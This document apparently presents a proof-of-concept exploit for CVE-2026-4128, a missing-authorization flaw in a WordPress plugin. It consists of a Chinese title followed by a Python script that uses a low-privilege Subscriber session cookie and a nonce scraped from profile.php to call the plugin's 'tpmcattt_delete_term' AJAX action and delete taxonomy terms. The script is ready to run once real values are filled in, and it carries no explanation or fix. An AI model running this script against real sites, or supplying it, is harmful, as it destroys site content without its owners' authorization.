CVE-2026-4128: WP插件权限缺失漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's session cookie (Subscriber level account) # Replace with valid cookies from a logged-in session cookies = { "wordpress_logged_in_xxx": "valid_cookie_value_here" } # Nonce extracted from the page source (profile.php) # This nonce is generated for all authenticated users valid_nonce = "extracted_nonce_value_from_page_source" # Payload to delete a specific taxonomy term payload = { "action": "tpmcattt_delete_term", "term_id": "123", # The ID of the term to delete "security": valid_nonce # The nonce parameter name may vary, often 'security' or '_wpnonce' } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)